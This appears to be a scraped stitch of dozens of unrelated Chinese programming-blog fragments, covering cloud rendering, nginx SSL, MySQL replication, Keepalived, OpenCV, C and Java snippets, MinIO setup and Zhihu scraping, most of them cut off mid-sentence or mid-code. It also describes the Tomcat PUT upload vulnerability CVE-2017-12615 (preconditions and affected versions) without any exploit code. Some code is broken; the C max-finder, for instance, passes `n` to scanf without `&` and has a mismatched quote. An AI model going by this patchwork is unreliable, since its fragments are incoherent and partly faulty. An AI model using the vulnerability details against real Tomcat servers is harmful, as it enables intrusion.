实时云渲染的关键技术是什么,首先我们需要了解下什么是实时云渲染。其实这是一个合成词,实时+云+渲染,实时的意思比较好理解,即指时效性比较强,甚至可以说是同步的效果。云-则是指云服务器,随着互联网硬件迅猛发展,无论是传统行业和新行业都在向云靠拢,上云服务是趋势。而渲染则是指以软件由模型生成图像的过程,模型是用语言或者数据结构进行严格定义的三维物体或虚拟场景的描述,它包括几何、视点、纹理、照明和阴影等信息。图像是数字图像或者位图图像。通过渲染得到模型与动画最终的显示效果。因此实时云渲染技术,从本质上来说就是将本来在本地电脑上完成的渲染工作,在云端服务器(可以是公有云、私有云、局域网)完成了,并且能将处理的结果实时返回给终端用户显示。
三维计算机图形的预渲染(Pre-rendering 或 Offline rendering)或者实时渲染(Real-time rendering 或 Online rendering)的速度都非常慢。预渲染的计算强度很大,需要大量的服务器运算完成,通常被用于电影制作;实时渲染经常用于三维视频游戏,通常透过图形处理器(GPU)完成这个过程。了解了它的概念后,那么实时云渲染关键技术是什么呢?
实时云渲染关键技术 编辑
我们来分解下用到的技术和硬件,首先在没有实时云渲染之前,渲染是借助电脑本身的GPU,而该技术中只不过是将电脑的GPU换成了服务器的GPU,只是使用的硬件的转移,这也得益于云服务的发展,是硬件基础进步带来的改变。而且服务器和电脑本身相比,在GPU显卡的性能方面会更好些,其更换或者可增减性也更好。那这个实时效果是如何做到的呢?这个就是视频流化(或者叫像素流送)技术了,要做到将终端通过鼠标键盘等设备输入的指令,快速传到服务器的云端程序,并且执行该指令,在将执行结果以视频画面流的方式传到终端界面解码显示。这整个过程延迟必须低,才能让用户感觉是在操作自己电脑上的程序,不会有卡顿的感觉,这个是关键。尤其是云游戏这类交互比较强的程序,如果延迟高就可能出现鼠标键盘输入指令后,而程序反应慢,或者画面返回慢就没法进行下一步操作,这样就失去了其意义。
点量云带您了解了实时云渲染后,您可能会好奇这项技术可以用在哪些领域呢?其实这个的应用很广泛,包括但不限于:数字孪生、智慧城市、云桌面、云应用、云游戏以及一些大型程序的。无论是3D引擎的程序还是非3D引擎点量云均可支持,比如flash动画等。
Prometheus热重启 启动prometheus时 添加参数 --web.enable-lifecycle: nohup ./prometheus --web.enable-lifecycle & 然后热重启:
dos下执行如下命令
curl -XPOST http://ip:9090/-/reload # ip是部署prometheus服务的ip地址 或者
使用postman或Apifox以post请求 请求http://ip:9090/-/reload这个链接
docsify,一款神奇的文档网站生成器。docsify 可以快速帮你生成文档网站。不同于 GitBook、Hexo 的地方是,它不会生成静态的 .html 文件,所有转换工作都是在运行时。如果你想要开始使用它,只需要创建一个 index.html 就可以开始编写文档并直接部署在 GitHub Pages。
与其他工具相比,docsify的界面天生自带一种小清新的效果,这也是比较吸引我的一点。
一、安装 docsify 使用文档:docsify官网-快速开始
首先需要电脑有node.js环境。
安装docsify。
npm i docsify-cli -g 二、初始化项目、本地预览 选择一个路径,初始化项目,作为本地存档。 docsify init ./docs 初始化成功后,会在路径下创建一个docs文件夹,docs文件夹内有3个文件。
主要用到的有 index.html,相当于项目的配置项,定义功能配置、插件的使用。README.md,首页的内容。
本地预览。
docsify serve docs 浏览器访问 http://localhost:3000
index.html 最开始的样子。
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Document</title> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" /> <meta name="description" content="Description"> <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0"> <link rel="stylesheet" href="//cdn.jsdelivr.net/npm/docsify@4/lib/themes/vue.css"> </head> <body> <div id="app"></div> <script> window.$docsify = { name: '', repo: '' } </script> <!
1: 准备https证书
https 证书: 我是从华为领了一个一年的免费https证书。
下载证书
我们是配置 nginx 证书, 所以就拿nginx文件中的证书就行 2: 准备nginx ssl 模块
我的路径是: usr/local/nginx 进入 nginx 安装目录: usr/local/nginx 命令: ./sbin/nginx -v
查看是否有 ssl模块, 下图是没装的 安装 ssl 模块: 一般情况下都是不存在ssl模块的,接下来进入到你的解压缩后的nginx目录,注意这里不是nginx安装目录,是解压缩后的目录,进入目录后,输入 ./configure --prefix=/usr/local/nginx --with-http_stub_status_module --with-http_ssl_module
然后执行:
make
#切记不要执行make install,否则会重新安装nginx
上述操作执行完成以后,你的目录下会出现objs文件夹,文件夹内存在nginx文件,如图:
将此目录的 nginx 文件 替换安装目录sbin下的nginx:
#进入nginx安装目录停止nginx服务 ./sbin/nginx -s stop
如果 安装了 keepalive nginx 高可用, 则需停止 keepalive, 没有加入系统服务则 pkill -9 keepalive
systemctl stop keepalived.service
#替换之前的
nginx cp /root/nginx/objs/nginx /usr/local/nginx/sbin
替换后启动 keepalive , 启动 nginx
电脑Tinkpad E480,由于电脑重装了系统,电脑突然就外放没有声音了,从网上搜了各种方法尝试,将正确的解决办法记录如下:
1.声卡驱动下载,安装。
2.SMARTAudio设置,选择传统模式即可,这样耳机盒外放声音可以自由切换。
准备 主服务器Master_IP:192.168.42.28
从服务器Slave_IP:192.168.42.29
Mysql版本最好一致
uuid需要不同(如果是克隆需要更改uuid)
查看uuid
数据库中show variables like ‘%server_uuid%’;
文件中/var/lib/mysql/auto.cnf
更改就是更改配置文件 /var/lib/mysql/auto.cnf
更改配置文件/etc/my.cnf 主服务器:
[mysqld]
#开启二进制日志
log-bin=mysql-bin
#设置server-id,建议使用ip最后3位
server-id=28
(以上需要自己加入mysql的配置文件)
重启服务:systemctl restart mysqld.service
从服务器:
[mysqld]
#开启中继日志
relay-log=mysql-relay
#设置server-id,建议使用ip最后3位
server-id=29
(以上需要自己加入mysql的配置文件)
重启服务:systemctl restart mysqld.service
主服务器的数据库中
create user 'copy'@'%' identified with mysql_native_password by 'Nebula@123';
GRANT REPLICATION SLAVE ON *.* TO ‘copy'@‘%‘;
flush privileges;
--查询master的状态
show master status\G;
记录上图结果中File和Position的值。(后面需要用到)
从服务器的数据库中 Ip为主服务器的IP地址,用户为主从复制使用的用户,密码为copy用户的密码,之后为上面提到的文件和端口。
//开启复制 start slave; //关闭服务:stop slave;
//查看主从复制是否配置成功
SHOW SLAVE STATUS\G
如果出现Connecting to source(i/o占用)
#include<stdio.h>
int main()
{
long a,g,i;
g=1;
scanf("%ld",&a);
for(i=1;i<=a;i++)
{
g=g*i;
}
printf("%ld",g);
return 0;
}
目录
1.什么是反射
2.C++为什么需要反射
3.具体设计与实现
3.1设计思路
3.2 具体实现
3.3 测试
3.4 可能存在的疑问
4.还有其他的注册方法吗
5.小结
1.什么是反射 首先看一个问题:如何通过类的名称字符串来生成类的对象,比如有一个类Class A,那么如何通过类名称字符串“Class A”来创建类的对象呢?
C++本身是不支持通过类名称字符串"Classxx"来生成对象的,也就是说我们可以使用ClassXX* object =new ClassXX; 来生成对象,但是不能通过ClassXX* object=new "ClassXX"; 来生成对象。
要想解决这个问题就要用到反射,我们先看下维基百科的定义:反射是指计算机程序在运行时可以访问、检测和修改它本身状态或行为的一种能力。 有点抽象,实际上反射就是程序在运行时动态获取对象信息以及调用对象方法的能力。
2.C++为什么需要反射 举个例子,设计模式中经常讲IoC,将对象的初始化放在同一的容器之中,减少业务代码之间的依赖,降低耦合度,其中以工厂方法为例:
class Person{}; class Student:public Person{}; class Teacher:public Person{}; Person* factory(const string& type) { if (type == "teacher") { return new Teacher(); } else if (type == "student") { return new Student(); } else { return NULL: } } 上面factory根据传入的type的值,初始化person对象并返回,但是当新增person,需要再次修改factory函数。但是如果支持反射,则不需要修改代码。
3.具体设计与实现 3.
#include<stdio.h>
int main()
{
int i,n;
float x,max;
printf("请输入第1个数:");
scanf("%f",&x);
max=x;
printf("请输入n的值”);
scanf("%d",n);
for(i=1;i<n;i++)
{
printf("请输入第%d个数:",i+1);
scanf("%f",&x);
if(x>max)
max=x;
}
printf("10个数的最大值是;%.0f",max);
}
在提示网络连接时,按Shift+F10(或Shift+Fn+F10),调出命令提示符;输入taskmgr,回车,打开任务管理器;点击“详细信息”找到OOBENetworkConnectionFlow.exe;右键单击,结束任务。
简易安装教程,好用
1.教程以及下载地址
点击
注意在第六步
sudo update-grub 之前需要拷贝本计算机内核的config文件
如本机内核是config-5.4.0-72-generic则在,实时内核目录下方
sudo cp /boot/config-5.4.0-72-generic .config 2.报错make[1]: *** 没有规则可制作目标“debian/canonical-certs.pem”.
解决方法:改.config文件 cd linux-**
找到.config
删除 两个.pem文件,变为""
开发环境: 开发环境:Python3
工具:pandas、matplotlib.pyplot
数据来源: 数据地址:数据集
数据描述:本数据集共收集了发生在一个月内的28010条数据,
包含以下:
[‘订单编号’, ‘总金额’, ‘买家实际支付金额’, ‘收货地址’, ‘订单创建时间’, '订单付款时间 ', ‘退款金额’] 7个字段。
7个字段说明: 订单编号:订单编号
总金额:订单总金额
买家实际支付金额:总金额 - 退款金额(在已付款的情况下)。金额为0(在未付款的情况下)
收货地址:各个省份
订单创建时间:下单时间
订单付款时间:付款时间
退款金额:付款后申请退款的金额。如无付过款,退款金额为0
数据截图 分析目标: 1、整体销售情况
订单交易数量退货订单数量退货率交易总金额成交总金额退款总金额实际成交额 2、买家地区分布(饼图)
3、支付金额时间分布(折线图)
4、销售额走势图(折线图)
代码及结果: 1、整体销售情况 def taobao_analysis(csv_path): df = pd.DataFrame(pd.read_csv(csv_path)) # id 总金额 实际支付金额 地址 订单创建时间 付款时间 退款金额 df.columns = ['id', 'amount', 'paid', 'address', 'ordertime', 'paytime', 'refund'] df.paytime = pd.to_datetime(df.paytime) df.ordertime = pd.to_datetime(df.ordertime) # 订单交易数量 order_num = df.id.count() # 退货订单数量 refund_num = df[df['refund'] > 0].
web上传文件以及提交密码的简单设计界面 设计目标需要元素设计界面展示手机端界面展示电脑端界面展示 设计过程添加基本元素div1 设计div2 设计过程展示1 添加背景图片设计元素xss样式过程展示2 匹配电脑以及手机设计不同样式 完整代码 注:本文仅包含前端设计的一些过程,博主是小白,文中有不对的地方请见谅。 设计目标 构建一个简单的文件上传页面。能够实现添加文件、添加加密密码的功能就行。
需要元素 文件上传按钮 密码提示标签 输入框 上传按钮 显示文件区域 背景图 <div style="background-image:url(“图片地址”)>区域分块 提交表单 设计界面展示 手机端界面展示 上传前: 上传后:
电脑端界面展示 上传前:
上传后:
针对电脑以及手机界面设计了不同的布局方法。
后端代码等几天再发,里面有些功能还没补全。
上面展示的二维码不用扫哈,里面地址我用的局域网,扫也扫不出来。
设计过程 首先,我是把网页分块了,一部分用于添加基本元素(div1)
一部分用于显示网页返回的结果(div2)
添加基本元素 div1 设计 div1 里面包含了div3,上传需要的元素都在里面。
我们来看下div3 包含的东西。
div3里面添加表单,用于提交
action 后面链接的是我Python后端界面的地址。可以先不管。
表单里面添加文件上传按钮
换行
表单里面添加密码提示标签
添加输入框,配置密码格式
换行
添加上传按钮
<body> <div class="div1"> <div class=div3> <form action="/file" method="post" enctype="multipart/form-data"> <input type="file" name="photo" class="upload_file"> <br/><br/> <label class="label1">设置六位验证密码(数字、字母):</label> <label> <input type="text" name="
二进制转十进制:采用位置计数法,其位权是以 2 为底的幂,顺序从右到左,从 0 开始计数。例如二进制数 1011B = 1 * 23 + 0 * 22 + 1 * 21 + 1 * 20 = 11D 二进制转八进制:采用三合一法,即从二进制的小数点为分界点,向左(或向右)每三位取成一位来计算,不足三位的前面补 0,例如:10110011B = (0)10
部分gcc常用的选项 -E 预处理 不编译、不汇编、不链接-S 编译 不汇编、不链接-c 编译+汇编 不链接-o 生成输出文件-w 不产生任何警告-s 类似于strip,删除符号表等内容(删掉调试信息和符号表)-g 编译后具有调试信息,反汇编可以查看源码-W 开启警告选项:-Wall / -Wextra-L 指定链接库所在目录(大爱)-I 指定头文件所在目录(小埃尔)-l 指定链接库名称-Wp,<opt> 将选项<opt>传给cpp-Wa,<opt>将选项<opt>传给as-Wl,<opt>将选项<opt>传给ld-Xlinker 和-Wl<opt>类似-M 生成文件相关依赖信息,另外一个-MD、-MM、-MMD-fPIC 位置无关代码-static 强制以静态库的方式进行链接-shared 生成so时进行使用-v 打印编译信息 优化 -O0 不优化
-O1 尝试减少代码体积和代码运行时间
-O2 执行几乎所有支持的操作(不包括空间和速度之间权衡的优化),编译时间较长。
-Os 优化代码尺寸(-O2.5),缓存小、磁盘空间机器紧张可以使用,可能产生问题,不推荐
-O3 产生更大更消耗内存的二进制。gcc3.x中并不标-O2快多少。gcc4.x不推荐使用
摘要 OpenCV 图像读取,cv2图像创建,cv2图像复制,cv2图像拼接,np.hstack子图列表,plt子图列表显示,cv2图像色彩模式转换,cv2图像通道拆分,cv2图像加法,cv2图像add和addWeighted,cv2图像不同尺寸重叠,cv2图像图像加logo,掩膜ROI,mask,cv2图像渐变动画,圆形遮罩,cv2图像写字画画,cv2图像处理视频
OpenCV应用领域 1、计算机视觉领域方向
1、人机互动
2、物体识别
3、图像分割
4、人脸识别
5、动作识别
6、运动跟踪
7、机器人
8、运动分析
9、机器视觉
10、结构分析
11、汽车安全驾驶
2、计算机操作底层技术
一 图像基本 1 模块 #--*coding:utf-8*-- import cv2#基本 #opencv 读取的格式是BGR 非rgb import matplotlib.pyplot as plt #绘图展示 import numpy as np #基本计算 2 读取 创建 2.1 读取(cv2.imread) 图片=cv2.imread("a01.jpg") 灰度图片=cv2.imread("a01.jpg", cv2.IMREAD_GRAYSCALE) 2.2 创建 (np.zeros) np.zeros() 等方法创建指定大小、类型的图像对象
np.ones_like(img1) * 255 创建和 img 一样大小的 白色图片
白色图片100*300 = np.ones((100, 300), dtype="float") # 1.14 Numpy 创建图像 # 创建彩色图像(RGB) # (1) 通过宽度高度值创建多维数组 width, height, channels = 400, 300, 3 # 行/高度, 列/宽度, 通道数 imgEmpty = np.
GitHub地址:https://github.com/KaihuaTang/Scene-Graph-Benchmark.pytorch
我的配置 GPUDriverCUDAPytorch3090460.32.0311.1conda install pytorch==1.7.1 torchvision==0.8.2 torchaudio==0.7.2 cudatoolkit=11.0 环境配置踩坑记录 首先记得配置下清华源
conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/msys2/ conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/conda-forge/ conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/ conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/ conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/peterjc123/ conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/pytorch/ conda config --set show_channel_urls yes 创建虚拟环境时的python版本不要太高,我选择的是3.7
conda create --name scene_graph_benchmark python=3.7 由于服务器的CUDA版本为11.1,所以我最先安装的 pytorch 版本是 1.8,正好对应cudatoolkit=11.1,但是训练时会报错:
RuntimeError: radix_sort: failed on 1st step: cudaErrorInvalidDevice: invalid device ordinal 怀疑是pytorch版本太高的bug,换成低版本1.7试试(删除原环境,重新建环境安装,不要在原环境覆盖安装)
conda install pytorch==1.7.1 torchvision==0.
利用docker 部署 minio(minio无法访问解决) 今天使用云服务器部署minio但是一直无法访问,查看访问端口一直在变化,想到minio的默认启动是动态端口,踩坑记录。
操作 拉取镜像 docker pull minio/minio 创建容器 docker run # 映射端口 -p 9000:9000 # 容器名 --name minio # 自启动 -d --restart=always # 登录的用户名 -e "MINIO_ACCESS_KEY=minio" # 登录的密码 -e "MINIO_SECRET_KEY=minio123" # 数据卷挂载 -v /home/data:/data -v /home/config:/root/.minio minio/minio server /data # minio默认启动是动态端口,设置固定端口 --console-address ":9000" --address ":9090" 使用云服务器或者没有打开防火墙的需要配置固定端口,否则无法访问!
卡特兰数 1. 概述 卡特兰数:首先这个一个数,很多问题的结果都是卡特兰数,比如2016年全国三卷数学选择题压轴题让求解的就是卡特兰数,问题如下: 首先是结论:卡特兰数为: C 2 n n n + 1 \frac{C_{2n} ^ n}{n+1} n+1C2nn
因此,对于上面的题目,结果就是 C 2 m m m + 1 = C 8 4 4 + 1 = 70 5 = 14 \frac{C_{2m} ^ m}{m+1} = \frac{C_8 ^ 4}{4+1} = \frac{70}{5} = 14 m+1C2mm=4+1C84=570=14
因此选择C。
下面看一下卡特兰数的公式是如何推导出来的。首先我们需要将上述问题转换成一个等价的问题:在一个二维平面内,从(0, 0)出发到达(n, n),每次可以向上或者向右走一格,0代表向右走一个,1代表向上走一格,则每条路径都会代表一个01序列,则满足任意前缀中0的个数不少于1个数序列对应的路径则右下侧,如下图: 符合要求的路径必须严格在上图中红色线的下面(不可以碰到图中的红线,可以碰到绿线)。则我们考虑任意一条不合法路径,例如下图:
所有路径的条数为 C 2 n n C_{2n}^{n} C2nn,其中不合法的路径有 C 2 n n − 1 C_{2n}^{n-1} C2nn−1 条,因此合法路径有:
step1:安装Bochs Bochs is a highly portable open source IA-32 (x86) PC emulator written
in C++, that runs on most popular platforms. It includes emulation of
the Intel x86 CPU, common I/O devices, and a custom BIOS. Bochs can be compiled to emulate many different x86 CPUs, from early 386 to the most recent x86-64 Intel and AMD processors which may even not reached the market yet.
简而言之,这是一个可以供我们调试的虚拟机(南京大学的NEMU的高级版)。
https://www.cnblogs.com/cmoses/p/10329042.html
启动过程可以参考这篇博客,写的很详细了。
目录 一.Keepalived简介二.Keepalvied的工作原理三.vrrp相关1.术语2.技术 四.搭建设想五.构建过程1.主机配置基本配置网卡配置(直接编写keepalived.conf,可以不要设置虚拟网卡)ipvsamd 策略keepalived策略 2.备份LVS服务器配置网卡配置(直接编写keepalived.conf,可跳过此步骤)ipvsadm配置和keepalived策略 3.真实主机配置4.客户机测试DOWN 掉主LVS的keepalived 六.优化功能1.日志功能2.单播多播地址2.1修改多播2.2单播设定 3.通知脚本 一.Keepalived简介 Keepalived是Linux下一个轻量级别的高可用解决方案。高可用(High Avalilability,HA),其实两种不同的含义:广义来讲,是指整个系统的高可用行,狭义的来讲就是之主机的冗余和接管,
它与HeartBeat RoseHA 实现相同类似的功能,都可以实现服务或者网络的高可用,但是又有差别,HeartBeat是一个专业的、功能完善的高可用软件,它提供了HA 软件所需的基本功能,比如:心跳检测、资源接管,检测集群中的服务,在集群节点转移共享IP地址的所有者等等。HeartBeat功能强大,但是部署和使用相对比较麻烦,
与HeartBeat相比,Keepalived主要是通过虚拟路由冗余来实现高可用功能,虽然它没有HeartBeat功能强大,但是Keepalived部署和使用非常的简单,所有配置只需要一个配置文件即可以完成。
二.Keepalvied的工作原理 Keepalived起初是为LVS设计的,专门用来监控集群系统中各个服务节点的状态,它根据TCP/IP参考模型的第三、第四层、第五层交换机制检测每个服务节点的状态,如果某个服务器节点出现异常,或者工作出现故障,Keepalived将检测到,并将出现的故障的服务器节点从集群系统中剔除,这些工作全部是自动完成的,不需要人工干涉,需要人工完成的只是修复出现故障的服务节点
Keepalived作为一个高性能集群软件,它还能实现对集群中服务器运行状态的监控以及故障隔离,下面我们介绍一下Keepalived对服务器运行状态和故障隔离的工作原理。
Keepalived工作在TCP/IP 参考模型的 三层、四层、五层,也就是分别为:网络层,
传输层和应用层,根据TCP、IP参数模型隔层所能实现的功能,Keepalived运行机制如下:
在网络层:我们知道运行这4个重要的协议,互联网络IP协议,互联网络可控制报文协议ICMP、地址转换协议ARP、反向地址转换协议RARP,在网络层Keepalived在网络层采用最常见的工作方式是通过ICMP协议向服务器集群中的每一个节点发送一个ICMP数据包(有点类似与Ping的功能),如果某个节点没有返回响应数据包,那么认为该节点发生了故障,Keepalived将报告这个节点失效,并从服务器集群中剔除故障节点。
在传输层:提供了两个主要的协议:传输控制协议TCP和用户数据协议UDP,传输控制协议TCP可以提供可靠的数据输出服务、IP地址和端口,代表TCP的一个连接端,要获得TCP服务,需要在发送机的一个端口和接收机的一个端口上建立连接,而Keepalived在传输层里利用了TCP协议的端口连接和扫描技术来判断集群节点的端口是否正常,比如对于常见的WEB服务器80端口。或者SSH服务22端口,Keepalived一旦在传输层探测到这些端口号没有数据响应和数据返回,就认为这些端口发生异常,然后强制将这些端口所对应的节点从服务器集群中剔除掉。
在应用层:可以运行FTP,TELNET,SMTP,DNS等各种不同类型的高层协议,Keepalived的运行方式也更加全面化和复杂化,用户可以通过自定义Keepalived工作方式,例如:可以通过编写程序或者脚本来运行Keepalived,而Keepalived将根据用户的设定参数检测各种程序或者服务是否允许正常,如果Keepalived的检测结果和用户设定的不一致时,Keepalived将把对应的服务器从服务器集群中剔除
功能:
基于vrrp协议完成地址流动为vip地址所在的节点生成ipvs规则(在配置文件中预先定义)为ipvs集群的各RS做健康状态检测基于脚本调用接口完成脚本中定义的功能,进而影响集群事务,以此支持nginx、haproxy等服务 三.vrrp相关 1.术语 虚拟路由器:Virtual Router 虚拟路由器标识:VRID(0-255) 物理路由器: master :主设备 backup :备用设备 priority:优先级 VIP:Virtual IP VMAC:Virutal MAC (00-00-5e-00-01-VRID) GraciousARP 2.技术 通告:心跳,优先级等;周期性
工作方式:抢占式,非抢占式,延迟抢占模式
实际工作中,非抢占式,
安全认证:
无认证简单字符认证:预共享密钥MD5 工作模式:
主/备:单虚拟路径器主/主:主/备(虚拟路由器1),备/主(虚拟路由器2) 四.搭建设想 就是建立两台LVS,保证网络畅通,即使一台损坏,老化,备用服务器可以立马顶上
机器IP地址主LVS负载调度器192.168.133.50备LVS负载调度器192.168.133.100RS服务器1192.168.133.75RS服务器2192.168.133.99客户端IP地址自定义 五.构建过程 所有主机都必须关闭防火墙
[root@host ~]# systemctl stop firewalld [root@host ~]# setenforce 0 1.主机配置 基本配置 [root@host ~]# vi /etc/sysctl.
二进制:是指在数学和数字电路中以2为基数的记数系统,二进制只有0和1两个数字符号,其运算规律是逢2进1,一般用字母B结尾表示二进制数,例如101101B八进制:一种以8为基数的计数法,采用0,1,2,3,4,5,6,7这八个数字符号,其运算规律是逢8进1,一般用字母Q结尾表示八进制数,例如77Q
十进制:一种以10为基数的计数法,采用0,1,2,3,4,5,6,7,8,9这十个数字符号,其运算规律是逢10进1,一般用字母D结尾表示十进制数,例如88D十六进制:一种以16为基数的计数法,采用0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F这十六个数字和字母符号,其运算规律是逢16进1,一般用字母H结尾表示十六进制数,例如9527H
TomcatPUT的上传漏洞(CVE-2017-12615) 漏洞描述: 当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。
受影响的版本: Apache Tomcat 7.0.0 to 7.0.79
利用条件: Apache Tomcat 默认开启 PUT 方法,org.apache.catalina.servlets.DefaultServlet的 readonly 默认为 true,需要手动配置readonly为false才可以进行漏洞利用,而且默认没有在 Tomcat/conf/web.xml 里写,(逗号)。需要手工添加并且改为 false,才可以进行测试。
漏洞原理: 本次 Apache Tomcat 的 CVE 漏洞涉及到 DefaultServlet 和 JspServlet,DefaultServlet 的作用是处理静态文件 ,JspServlet 的作用是处理 jsp 与 jspx 文件的请求,同时 DefaultServlet 可以处理 PUT 或 DELETE 请求,以下是默认配置情况:
除了 jsp 和 jspx 默认是由 org.apache.jasper.servlet.JspServlet 处理,其他默认都是由org.apache.catalina.servlets.DefaultServlet 来处理。可以看出即使设置 readonly 为 false,默认 tomcat 也不允许 PUT 上传 jsp 和 jspx 文件的,因为后端都用org.
#mydf: dataframe #mydf['mycolumnname']: mydf中的名为mycolumnname的一列 list(mydf['mycolumnname']).count("xxx") # 其中xxx为想统计的值
一、Lambda用法 之前写Optional这个类的时候,简单说了一下Lambda是怎么用的,这里再跟大家一起回顾一下,Lambda的语法是这样的:
语法
以Lambda语法创建线程和匿名内部类创建线程的区别(显然代码少了很多!):
public static void main(String[] args) { // 用匿名内部类的方式来创建线程 new Thread(new Runnable() { @Override public void run() { System.out.println("公众号:Java3y---关注我!"); } }); // 使用Lambda来创建线程 new Thread(() -> System.out.println("公众号:Java3y---关注我!")); } 使用Lambda表达式,实际就是创建出该接口的实例对象。
返回一个Runnable对象实例
图示;Runnable接口来举例:
以Runnable接口为例
使用Labmda表达式需要函数式编程接口,比如在Runnable接口上我们可以看到@FunctionalInterface注解(标记着这个接口只有一个抽象方法)
函数式编程接口只有一个抽象方法
1.1 函数式编程接口 从上面的代码例子可以看出,我们使用Lambda表达式创建线程的时候,并不关心接口名,方法名,参数名。我们只关注他的参数类型,参数个数,返回值。
JDK原生就给我们提供了一些函数式编程接口方便我们去使用,下面是一些常用的接口:
常用的函数式编程接口
简单说明一下:
表格中的一元接口表示只有一个入参,二元接口表示有两个入参
以BiFunction为例
常用的函数式接口
Demo:
// Consumer 一个入参,无返回值 Consumer<String> consumer = s-> System.out.println(s); consumer.accept("Java3y"); // Supplier 无入参,有返回值 Supplier<String> supplier = () -> "Java4y"; String s = supplier.get(); System.
一、指针是什么(地址形象化) 二、多级指针 三、野指针 四、内存分配方式 malloc、calloc 、realloc 和free 概述 一、指针是什么 1、指针是一种数据类型,可以定义变量,保存的内容是地址 2、指针的作用 指针保存的是地址,通过指针变量可以操作地址,即可直接操作寄存器地址,从而实现直接访问硬件,这是C语言与其他语言最大的不同。
3、指针的大小 因为地址是固定的长度,所以指针变量的长度也是固定的,系统位数的决定指针变量的字节长度,64位系统地址指针变量长度为8字节,32位系统指针变量长度为4字节
4、为什么指针的字节长度固定了还要定义不同的类型 因为指针的地址属性———步长(做加1操作所移动的字节数),不同类型的指针变量保存不同步长的地址。
地址+操作数=地址
5、直接访问和间接访问 变量内保存内容,指针通过保存变量的首地址来间接访问变量的内容
6、*和& * 指针标识符 间接运算符 & 取地址符 *p=a =》p=&a 相当于逆运算,&是内容向外取地址,*是地址向内取内容
7、指针的定义方式 int a;int * p=&a;
=》int a;int*p;p1=&a
8、指针阅读——右左法则 int*p
p 左右没有()[] 所以是一个变量 *表示指针标识符,说明保存的是地址,这个变量是指针变量, int说明是一个整形的指针变量
9、指针的偏移 p++ p中保存的是变量地址,++表示变量地址加1个步长,表示变量的下一个内容
(*p)++ *p是指针里的内容,++ 表示字节地址里的内容加1,加一个字节
二、多级指针 1、多级指针的作用 保存上一级指针的地址,应用在函数的传参
注意:1、相同类型指针之间才可以赋值
2、void* 万能指针,用来接受任意类型的值 (不知道返回值的情况下),但不能直接打印内容,步长为1
3、指针的加减,可以减不能加 指针+指针 返回error 指针减指针 返回两个地址数据的个数(指针类型相同)
三、野指针 1、什么是野指针 指针变量里保存的地址对应空间无访问权限(指针所指向的地址空间无访问权限)
2、野指针的出现 1.定义后未初始化的指针;2、释放结束之后的指针;3、越界访问的指针(指向分配空间之后的指针)
3、野指针出现产生的问题 内存泄露,运行时错误,内存错误(段错误)
4、如何避免野指针 编码习惯
目录
一、最初投稿Cover letter
二、催稿信
三、修改稿
四、修改稿回答审稿人的意见(最重要的部分)
五、文章接受后可以考虑感谢一下负责你文章的编辑或主编(根据需要)
六、询问校稿信件(如果文章接受后时间较长)
七、文章校稿信件
正文
一、最初投稿Cover letter
Dear Editors:
We would like to submit the enclosed manuscript entitled “Paper Title”, which we wish to be considered for publication in “Journal Name”. No conflict of interest exits in the submission of this manuscript, and manuscript is approved by all authors for publication. I would like to declare on behalf of my co-authors that the work described was original research that has not been published previously, and not under consideration for publication elsewhere, in whole or in part.
思路&代码参考微信公众号:Python与Excel之交 ,作者小刀
以知乎热搜《男子因太能吃被「自助」餐厅拉黑,餐厅此种行为合法吗?》为例
网页:男子因太能吃被「自助」餐厅拉黑,餐厅此种行为合法吗? - 知乎
评论 进入浏览器的开发者模式
评论往下拉就会自动生成下一页,会有新的数据包
真实的url
https://www.zhihu.com/api/v4/questions/499739058/answers?include=data%5B%2A%5D.is_normal%2Cadmin_closed_comment%2Creward_info%2Cis_collapsed%2Cannotation_action%2Cannotation_detail%2Ccollapse_reason%2Cis_sticky%2Ccollapsed_by%2Csuggest_edit%2Ccomment_count%2Ccan_comment%2Ccontent%2Ceditable_content%2Cattachment%2Cvoteup_count%2Creshipment_settings%2Ccomment_permission%2Ccreated_time%2Cupdated_time%2Creview_info%2Crelevant_info%2Cquestion%2Cexcerpt%2Cis_labeled%2Cpaid_info%2Cpaid_info_content%2Crelationship.is_authorized%2Cis_author%2Cvoting%2Cis_thanked%2Cis_nothelp%2Cis_recognized%3Bdata%5B%2A%5D.mark_infos%5B%2A%5D.url%3Bdata%5B%2A%5D.author.follower_count%2Cvip_info%2Cbadge%5B%2A%5D.topics%3Bdata%5B%2A%5D.settings.table_of_content.enabled&limit=5&offset=5&platform=desktop&sort_by=default https://www.zhihu.com/api/v4/questions/499739058/answers?include=data%5B%2A%5D.is_normal%2Cadmin_closed_comment%2Creward_info%2Cis_collapsed%2Cannotation_action%2Cannotation_detail%2Ccollapse_reason%2Cis_sticky%2Ccollapsed_by%2Csuggest_edit%2Ccomment_count%2Ccan_comment%2Ccontent%2Ceditable_content%2Cattachment%2Cvoteup_count%2Creshipment_settings%2Ccomment_permission%2Ccreated_time%2Cupdated_time%2Creview_info%2Crelevant_info%2Cquestion%2Cexcerpt%2Cis_labeled%2Cpaid_info%2Cpaid_info_content%2Crelationship.is_authorized%2Cis_author%2Cvoting%2Cis_thanked%2Cis_nothelp%2Cis_recognized%3Bdata%5B%2A%5D.mark_infos%5B%2A%5D.url%3Bdata%5B%2A%5D.author.follower_count%2Cvip_info%2Cbadge%5B%2A%5D.topics%3Bdata%5B%2A%5D.settings.table_of_content.enabled&limit=5&offset=10&platform=desktop&sort_by=default 只有offset在变,由5到10 以5递增的规律
代码
